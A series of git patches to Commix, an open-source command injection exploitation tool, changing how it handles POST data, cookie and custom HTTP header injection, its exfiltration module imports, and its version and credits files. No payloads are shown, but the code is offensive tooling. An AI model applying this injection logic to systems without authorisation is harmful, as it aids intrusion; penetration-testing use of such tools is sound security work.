_urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -204,7 +204,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6af66fa9a7..0294a98a3c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -58,7 +58,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if defined method is POST. else : parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) @@ -110,7 +110,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 0e9f173190..998513b834 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -196,7 +196,7 @@ def dns_exfiltration_handler(url, http_request_method): else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter, http_request_method) request = _urllib.request.Request(url, parameter) headers.do_check(request) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 5e0bc7e63b..5bf2ddbfda 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -224,7 +224,7 @@ def icmp_exfiltration_handler(url, http_request_method): else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) parameter = parameters.do_POST_check(parameter, http_request_method) request = _urllib.request.Request(url, parameter) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 28afb94261..7577fa220f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fba9e9ace5a3aa12ced66ffebf3df102e0681cd2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Feb 2022 09:06:24 +0200 Subject: [PATCH 068/560] Update README.md --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index cb6625b562..309a8ec79a 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,6 @@ **Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. -## Screenshot ![Screenshot](https://commixproject.com/images/background.png) From d4cca7d54fe9112e265baa030f164025398cec7f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Feb 2022 09:10:10 +0200 Subject: [PATCH 069/560] Update THANKS.md --- doc/THANKS.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index bb92530d1d..f30098a9ba 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -9,18 +9,19 @@ ## List of individual contributors: * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. +* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. * Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug. * Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug. * Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features * Thanks [Alan Placidina](https://github.com/Placidina) for contributing code. -* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code. +* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code. * Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code. -* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement. +* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement. * Thanks [apprentice](https://github.com/apprentice) for contributing code. * Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature. * Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug. * Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs. -* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature. +* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature. * Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug. * Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug. * Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug. @@ -61,9 +62,11 @@ * Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug. * Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. +* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. +* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug. * Thanks [scblakely](https://github.com/scblakely) for reporting a bug. * Thanks [shaojava](https://github.com/shaojava) for reporting a bug. * Thanks [shelld3v](https://github.com/shelld3v) for contributing code. @@ -72,6 +75,7 @@ * Thanks [Slavery](https://github.com/Slavery) for reporting a bug. * Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. * Thanks [somarrr](https://github.com/somarrr) for reporting a bug. +* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements. * Thanks [td4b](https://github.com/td4b) for contributing code. * Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. * Thanks [Tensha](https://github.com/Tensha) for reporting a bug. @@ -85,6 +89,7 @@ * Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug. * Thanks [w9w](https://github.com/w9w) for reporting a bug. * Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug. +* Thanks [webideveli](https://github.com/webideveli) for reporting a bug. * Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features * Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement. * Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs. From 88f06f5b7a7ecfcddda23127c54d37a02cacae4f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Feb 2022 08:51:44 +0200 Subject: [PATCH 070/560] Minor update --- src/core/injections/controller/controller.py | 50 ++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 21 insertions(+), 31 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 01d48e8882..db91e3a17f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -514,7 +514,6 @@ def cookie_injection(url, http_request_method, filename, timesec): """ def get_request(url, http_request_method, filename, timesec): - #if not settings.COOKIE_INJECTION: found_url = parameters.do_GET_check(url, http_request_method) if found_url != False: @@ -555,16 +554,11 @@ def get_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - """ Check if HTTP Method is POST. """ def post_request(url, http_request_method, filename, timesec): - parameter = menu.options.data found_parameter = parameters.do_POST_check(parameter, http_request_method) @@ -618,10 +612,6 @@ def post_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - """ Perform checks """ @@ -672,28 +662,28 @@ def basic_level_checks(): if settings.PERFORM_BASIC_SCANS: basic_level_checks() - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL: - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - else: + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL: - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) + if menu.options.cookie: + cookie_injection(url, http_request_method, filename, timesec) else: - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None + warn_msg = "The HTTP Cookie header is not provided, " + warn_msg += "so this test is going to be skipped." + print(settings.print_warning_msg(warn_msg)) + + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + if settings.INJECTED_HTTP_HEADER == False : + check_parameter = "" + # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). + stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) + + # Custom header Injection + if settings.CUSTOM_HEADER_INJECTION == True: + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = None if settings.INJECTION_CHECKER == False: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7577fa220f..068349303d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 419ce8f8e0e071a1414e7568062e9122f325b0ac Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 11 Feb 2022 08:46:01 +0200 Subject: [PATCH 071/560] Minor update --- src/core/injections/controller/controller.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index db91e3a17f..1d08ba1ac0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -356,7 +356,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_bold_warning_msg(warn_msg)) """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/utils/settings.py b/src/utils/settings.py index 068349303d..c20ab4b721 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7cba206d6003715ab7273f446c8fc13494421646 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 20 Feb 2022 11:18:09 +0200 Subject: [PATCH 072/560] Minor fix --- src/core/injections/controller/checks.py | 45 ++++++++++++------------ src/utils/settings.py | 4 +-- 2 files changed, 25 insertions(+), 24 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9ceacaeb0..618c1e90a6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,31 +55,32 @@ def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) - if candidate: + if candidate and settings.DECLARED_COOKIES is not False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "You have not declared cookie(s), while " - question_msg += "server wants to set its own ('" + str(candidate) + "'). " - question_msg += "Do you want to use those [Y/n] > " - set_cookies = _input(settings.print_question_msg(question_msg)).lower() - else: - set_cookies = "" - if len(set_cookies) == 0: - set_cookies = "Y" - if set_cookies in settings.CHOICE_YES: - menu.options.cookie = candidate - break - elif set_cookies in settings.CHOICE_NO: - break - elif set_cookies in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + set_cookies + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + while True: + if not menu.options.batch: + question_msg = "You have not declared cookie(s), while " + question_msg += "server wants to set its own ('" + str(candidate) + "'). " + question_msg += "Do you want to use those [Y/n] > " + set_cookies = _input(settings.print_question_msg(question_msg)).lower() + else: + set_cookies = "" + if len(set_cookies) == 0: + set_cookies = "Y" + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + set_cookies + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass except (KeyError, TypeError): pass diff --git a/src/utils/settings.py b/src/utils/settings.py index c20ab4b721..a0da4858e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1054,7 +1054,7 @@ def sys_argv_errors(): # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" -DECLARED_COOKIES = False +DECLARED_COOKIES = "" CRAWLED_SKIPPED_URLS = 0 From b28fe7598bca3a108c359aed7741db1db6e627b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Feb 2022 19:24:55 +0200 Subject: [PATCH 073/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6cd1a56d48..5a1aaab4c5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Fixed: Minor bug-fix regarding parsing JSON objects. From 7a13e49e65926b47d87f983585009a777bfd337a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Feb 2022 09:21:44 +0200 Subject: [PATCH 074/560] Updated to v3.4 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5a1aaab4c5..9cd2a7d8aa 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.4 (TBA) +## Version 3.4 (2022-01-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). diff --git a/setup.py b/setup.py index a13aa90fcb..049b89c5d6 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.3', + version='3.4', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index a0da4858e9..7f0c2a2817 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -226,7 +226,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" REVISION = "66" -STABLE_RELEASE = False +STABLE_RELEASE = True if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From 7d632778c3aa42716098b6f9dd3e44f65d359f49 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Feb 2022 09:24:42 +0200 Subject: [PATCH 075/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9cd2a7d8aa..33dcd229ad 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.4 (2022-01-25) +## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). From 8ede51991467076202644e21c9a28ac5b0530327 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Mar 2022 10:56:04 +0200 Subject: [PATCH 076/560] Minor patch for injecting into custom HTTP Header --- setup.py | 2 +- src/core/requests/headers.py | 1 + src/core/requests/requests.py | 2 +- src/utils/settings.py | 7 ++++--- 4 files changed, 7 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 049b89c5d6..d328f17c46 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.4', + version='3.5-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b4aff61a45..495573cbcd 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -424,6 +424,7 @@ def do_check(request): settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name + settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: request.add_header(http_header_name, http_header_value) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f0063bdb21..66dbad4bf8 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -895,7 +895,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, payload) + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7f0c2a2817..384cdbef6e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -224,9 +224,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.4" -REVISION = "66" -STABLE_RELEASE = True +VERSION_NUM = "3.5" +REVISION = "1" +STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: @@ -580,6 +580,7 @@ def sys_argv_errors(): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" # Valid URL format check VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" From d84f7ec4e917814b76e9135533516a652e121e93 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 8 Mar 2022 07:28:02 +0200 Subject: [PATCH 077/560] Minor patch (1) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- src/core/injections/controller/controller.py | 16 +++++++++------- src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1d08ba1ac0..052bf6ed6e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -274,6 +274,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" + if settings.CUSTOM_HEADER_INJECTION: + check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = " cookie" @@ -627,12 +629,6 @@ def basic_level_checks(): settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) - timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: @@ -684,7 +680,13 @@ def basic_level_checks(): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) + else: + post_request(url, http_request_method, filename, timesec) + if settings.INJECTION_CHECKER == False: return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 384cdbef6e..349079d59f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ba26dbeb75bcc453a8e1c00b852526a6a38cf138 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 9 Mar 2022 07:40:14 +0200 Subject: [PATCH 078/560] Minor patch (2) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- src/core/injections/controller/controller.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 052bf6ed6e..d9136f74f1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -250,8 +250,10 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + # Skipping basic heuristic detection procedure (regarding specific HTTP headers). inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS): + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True if menu.options.ignore_code: @@ -274,8 +276,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" - if settings.CUSTOM_HEADER_INJECTION: - check_parameter = " '" + check_parameter.strip() + "'" + check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = " cookie" diff --git a/src/utils/settings.py b/src/utils/settings.py index 349079d59f..89f836790f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1232bf63dc9c52aa31fe0ded5e0dc06a1407f77e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Mar 2022 08:54:19 +0200 Subject: [PATCH 079/560] Minor patch (3) for https://github.com/commixproject/commix/commit/8ede51991467076202644e21c9a28ac5b0530327 --- doc/CHANGELOG.md | 3 +++ src/core/injections/controller/controller.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/requests.py | 7 +++++-- src/utils/settings.py | 2 +- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 33dcd229ad..8d84e79456 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.5 (TBA) +* Revised: Improvement regarding injecting into custom HTTP Header(s). + ## Version 3.4 (2022-02-25) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d9136f74f1..afd2c47327 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -676,7 +676,7 @@ def basic_level_checks(): # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 495573cbcd..8875ce7923 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -421,7 +421,7 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ - settings.INJECT_TAG in http_header_value: + (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER): settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 66dbad4bf8..7dba87375e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -894,8 +894,11 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): request = _urllib.request.Request(url) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + payload = checks.newline_fixation(payload) + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + else: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 89f836790f..f2c2aaad8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c408dd132eec4de0bdf597960cd58dd2c497ae50 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 12 Mar 2022 17:26:13 +0200 Subject: [PATCH 080/560] Fixes https://github.com/commixproject/commix/issues/744 --- src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 +++--- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 998513b834..d1266781e9 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -22,7 +22,7 @@ import threading from src.utils import menu from src.utils import logs -from src.utils import common +from src.utils import common as _common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -182,9 +182,9 @@ def dns_exfiltration_handler(url, http_request_method): 